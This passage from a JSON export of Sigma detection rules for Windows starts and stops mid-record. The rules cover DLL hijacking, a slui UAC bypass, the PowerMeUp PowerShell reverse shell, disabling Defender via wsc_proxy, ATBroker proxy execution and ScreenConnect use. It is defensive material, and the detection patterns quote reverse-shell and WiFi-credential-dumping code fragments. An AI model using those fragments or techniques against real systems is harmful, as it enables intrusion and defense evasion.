+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587947Z",
+  "creation_date": "2026-03-23T11:45:34.587950Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587968Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msiexec.yml",
+  "content": "title: DLL Hijacking via msiexec.exe\nid: 9a5109e3-c824-43d7-93a4-914d1f268ff8\ndescription: |\n    Detects potential Windows DLL Hijacking via msiexec.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msiexec.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\msi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9a5109e3-c824-43d7-93a4-914d1f268ff8",
+  "rule_name": "DLL Hijacking via msiexec.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msiexec.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9a663634-e603-4974-bddd-b20163a84296",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074122Z",
+  "creation_date": "2026-03-23T11:45:34.074124Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074128Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_slui.yml",
+  "content": "title: Slui UAC Bypass Prepared\nid: 9a663634-e603-4974-bddd-b20163a84296\ndescription: |\n    Detects the preparation of the slui.exe UAC bypass, involving the setting of a registry key.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\nreferences:\n    - https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation\ndate: 2020/10/26\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.t1112\n    - attack.t1546.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set_value:\n        EventType: 'SetValue'\n        TargetObject:\n            - 'HKU\\\\*\\exefile\\shell\\open\\command\\(Default)'\n            - 'HKU\\\\*\\exefile\\\\*SymbolicLinkValue'\n    filter_is_empty:\n        Details: '(Empty)'\n    selection_rename:\n        EventType:\n            - 'RenameValue'\n            - 'RenameKey'\n        NewName: 'HKU\\\\*_Classes\\exefile\\\\*'\n    exclusion_fp:\n        # \"%1\" %*\n        Details: '\"%1\" %?'\n    condition: ((selection_set_value and not 1 of filter_*) or selection_rename) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9a663634-e603-4974-bddd-b20163a84296",
+  "rule_name": "Slui UAC Bypass Prepared",
+  "rule_description": "Detects the preparation of the slui.exe UAC bypass, involving the setting of a registry key.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-10-26",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.001",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9ae22815-47dd-4414-9497-a0c0d54a38ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608779Z",
+  "creation_date": "2026-03-23T11:45:34.608783Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608790Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ItsCyberAli/PowerMeUp",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powermeup_powershell_tool.yml",
+  "content": "title: PowerMeUp PowerShell Script Execution\nid: 9ae22815-47dd-4414-9497-a0c0d54a38ce\ndescription: |\n    Detects the usage of PowerMeUp, a PowerShell reverse shell that allows attackers to execute various commands as well as design custom post-exploitation scripts.\n    Attackers may use reverse shells to bypass firewalls and security restrictions, establish a remote connection to a compromised system, and execute commands with elevated privileges.\n    It is recommended to analyze the parent process as well as investigate actions taken by the reverse shell following this alert.\nreferences:\n    - https://github.com/ItsCyberAli/PowerMeUp\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/10/26\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.PowerMeUp\n    - classification.Windows.Behavior.RemoteShell\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_main:\n        PowershellCommand|contains|all:\n            - '$RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length'\n            - 'Invoke-Expression ($Code) 2>&1'\n            - '$Buffer = New-Object System.Byte[] 1024'\n\n    selection_bsod:\n        PowershellCommand|contains: 'Write-Host \"[+]Sending BSOD to $env:COMPUTERNAME...\"'\n\n    selection_disablemonitor:\n        PowershellCommand|contains|all:\n            - 'SendMessage('\n            - '(IntPtr)0xffff, // HWND_BROADCAST'\n            - '0x0112,         // WM_SYSCOMMAND'\n            - '(IntPtr)0xf170, // SC_MONITORPOWER'\n            - '(IntPtr)0x0002  // POWER_OFF'\n\n    selection_gps:\n        PowershellCommand|contains: 'Write-host \"Retrieving geolocation for\" $($latitude) $($longitude)'\n\n    selection_wifi:\n        PowershellCommand|contains: 'netsh wlan show profiles | Select-String -Pattern \"(?<=^.+: ).+$\" | ForEach-Object -Process {'\n\n    selection_scan:\n        PowershellCommand|contains|all:\n            - 'Write-Host(\"`r`n[*] Running portscan on discovered hosts...\")'\n            - 'Write-Host(\"`r`n[+]Port \" + $top1000[$port] + \" is open on $_!\")'\n\n    selection_externalip:\n        PowershellCommand|contains: '$StreamWriter.Write( (Invoke-RestMethod \"https://myexternalip.com/raw\" | Out-String) )'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9ae22815-47dd-4414-9497-a0c0d54a38ce",
+  "rule_name": "PowerMeUp PowerShell Script Execution",
+  "rule_description": "Detects the usage of PowerMeUp, a PowerShell reverse shell that allows attackers to execute various commands as well as design custom post-exploitation scripts.\nAttackers may use reverse shells to bypass firewalls and security restrictions, establish a remote connection to a compromised system, and execute commands with elevated privileges.\nIt is recommended to analyze the parent process as well as investigate actions taken by the reverse shell following this alert.\n",
+  "rule_creation_date": "2022-10-26",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9afca8ef-febf-42db-9ff5-b82567cb4c5b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072839Z",
+  "creation_date": "2026-03-23T11:45:34.072841Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072845Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/es3n1n/no-defender",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_defender_disabled_via_wsc_proxy.yml",
+  "content": "title: Windows Defender Disabled via wsc_proxy.exe\nid: 9afca8ef-febf-42db-9ff5-b82567cb4c5b\ndescription: |\n    Detects execution of wsc_proxy.exe, a binary associated with the Avast and AVG antiviruses, from a suspicious location.\n    This binary is a tool to communicate with the WSC (Windows Security Center) service.\n    WSC is a service in Windows used by antiviruses to tell the operating system that another antivirus is running and that it should disable Windows Defender.\n    Attackers may abuse this legitimate wsc_proxy.exe binary to disable Windows Defender on the host.\n    It is recommended to look at the service that ran the wsc_proxy.exe binary to determine its legitimacy and to look for the execution of suspicious binaries before this alert which may be responsible for the creation of this service.\nreferences:\n    - https://github.com/es3n1n/no-defender\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2024/05/24\nmodified: 2026/01/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.WscProxy\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'wsc_proxy.exe'\n        Signed: 'true'\n        Signature:\n            - 'Avast Software s.r.o.'\n            - 'AVG Technologies USA, LLC'\n\n    filter_legitimate:\n        Image:\n            - '?:\\Program Files\\AVAST Software\\Avast\\wsc_proxy.exe'\n            - '?:\\Program Files\\AVAST Software\\Avast Business\\wsc_proxy.exe'\n            - '?:\\Program Files\\AVG\\Antivirus\\wsc_proxy.exe'\n            - '?:\\Program Files\\Avast Software\\Suite\\wsc_proxy.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9afca8ef-febf-42db-9ff5-b82567cb4c5b",
+  "rule_name": "Windows Defender Disabled via wsc_proxy.exe",
+  "rule_description": "Detects execution of wsc_proxy.exe, a binary associated with the Avast and AVG antiviruses, from a suspicious location.\nThis binary is a tool to communicate with the WSC (Windows Security Center) service.\nWSC is a service in Windows used by antiviruses to tell the operating system that another antivirus is running and that it should disable Windows Defender.\nAttackers may abuse this legitimate wsc_proxy.exe binary to disable Windows Defender on the host.\nIt is recommended to look at the service that ran the wsc_proxy.exe binary to determine its legitimacy and to look for the execution of suspicious binaries before this alert which may be responsible for the creation of this service.\n",
+  "rule_creation_date": "2024-05-24",
+  "rule_modified_date": "2026-01-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9b1099db-e836-479a-bc60-dbbf9123fade",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079608Z",
+  "creation_date": "2026-03-23T11:45:34.079609Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079614Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/",
+    "https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_atbroker_registry.yml",
+  "content": "title: Suspicious Registry Changes Related to ATBroker Proxy Execution\nid: 9b1099db-e836-479a-bc60-dbbf9123fade\ndescription: |\n    Detects a registry change related to ATBroker, possibly to proxy execution of malicious code.\n    ATBroker executes code defined in registry for a new Assistive Technology (AT). Modifications must be made to the system registry to either register or modify an existing AT service entry.\n    Attackers can use this technique to execute malicious code through Microsoft-signed binaries.\n    It is recommended to investigate the process that set the registry value for suspicious activities as well as to look for other suspicious actions stemming from an AtBroker process.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Atbroker/\n    - https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/12/08\nmodified: 2025/11/05\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.LOLBin.Atbroker\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\\\*\\StartExe'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\\\*\\ATExe'\n\n    filter_legitimate_atexe:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\\\*\\ATExe'\n        Details:\n            - 'EoaExperiences.exe'\n            - 'Magnify.exe'\n            - 'Narrator.exe'\n            - 'osk.exe'\n            - 'sapisvr.exe'\n            - 'VoiceAccess.exe'\n\n    filter_legitimate_startexe:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\\\*\\StartExe'\n        Details:\n            - '%SystemRoot%\\System32\\EoaExperiences.exe'\n            - '%SystemRoot%\\System32\\Magnify.exe'\n            - '%SystemRoot%\\System32\\Narrator.exe'\n            - '%SystemRoot%\\System32\\osk.exe'\n            - '%SystemRoot%\\speech\\common\\sapisvr.exe'\n            - '?'\n            - '??'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_msiexec:\n        - ProcessImage:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n          Details|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - ProcessParentImage:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n          Details|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - ProcessParentImage:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n          ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Windows\\Installer\\MSI????.tmp'\n\n    exclusion_oracle:\n        - Details:\n            - '?:\\Program Files\\Java\\j*\\bin\\jabswitch.exe'\n            - '?:\\Program Files (x86)\\Java\\j*\\bin\\jabswitch.exe'\n        - ProcessSigned: 'true'\n          ProcessSignature: 'Oracle America, Inc.'\n        - ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n          TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\Oracle_JavaAccessBridge\\StartExe'\n          Details|endswith: '\\jabswitch.exe'\n\n    exclusion_windeploy:\n        ProcessCommandLine:\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe /preoobe'\n            - '?:\\Windows\\System32\\oobe\\Setup.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\oobe\\windeploy.exe'\n\n    exclusion_nvda:\n        ProcessProcessName: 'nvda_slave.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NV Access Limited'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9b1099db-e836-479a-bc60-dbbf9123fade",
+  "rule_name": "Suspicious Registry Changes Related to ATBroker Proxy Execution",
+  "rule_description": "Detects a registry change related to ATBroker, possibly to proxy execution of malicious code.\nATBroker executes code defined in registry for a new Assistive Technology (AT). Modifications must be made to the system registry to either register or modify an existing AT service entry.\nAttackers can use this technique to execute malicious code through Microsoft-signed binaries.\nIt is recommended to investigate the process that set the registry value for suspicious activities as well as to look for other suspicious actions stemming from an AtBroker process.\n",
+  "rule_creation_date": "2022-12-08",
+  "rule_modified_date": "2025-11-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9b1d8e53-2b21-4190-a2b0-6cab2f93d044",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590428Z",
+  "creation_date": "2026-03-23T11:45:34.590431Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590439Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wpr.yml",
+  "content": "title: DLL Hijacking via wpr.exe\nid: 9b1d8e53-2b21-4190-a2b0-6cab2f93d044\ndescription: |\n    Detects potential Windows DLL Hijacking via wpr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wpr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\WindowsPerformanceRecorderControl.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9b1d8e53-2b21-4190-a2b0-6cab2f93d044",
+  "rule_name": "DLL Hijacking via wpr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wpr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9b59b325-f5e2-4124-98bd-81e4a9c066a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603928Z",
+  "creation_date": "2026-03-23T11:45:34.603931Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603939Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling",
+    "https://dfirtnt.wordpress.com/2023/07/14/rmm-screenconnect-client-side-evidence/",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_screenconnect_process_execution.yml",
+  "content": "title: Process Executed via ScreenConnect\nid: 9b59b325-f5e2-4124-98bd-81e4a9c066a8\ndescription: |\n    Detects the execution of a process through ScreenConnect, a legitimate remote access tool.\n    Attackers can maliciously use remote access software to establish an interactive command and control channel to target systems within networks.\n    It is recommended to investigate the process to determine its legitimacy.\nreferences:\n    - https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling\n    - https://dfirtnt.wordpress.com/2023/07/14/rmm-screenconnect-client-side-evidence/\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2023/11/10\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.ScreenConnect\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentCommandLine|contains: 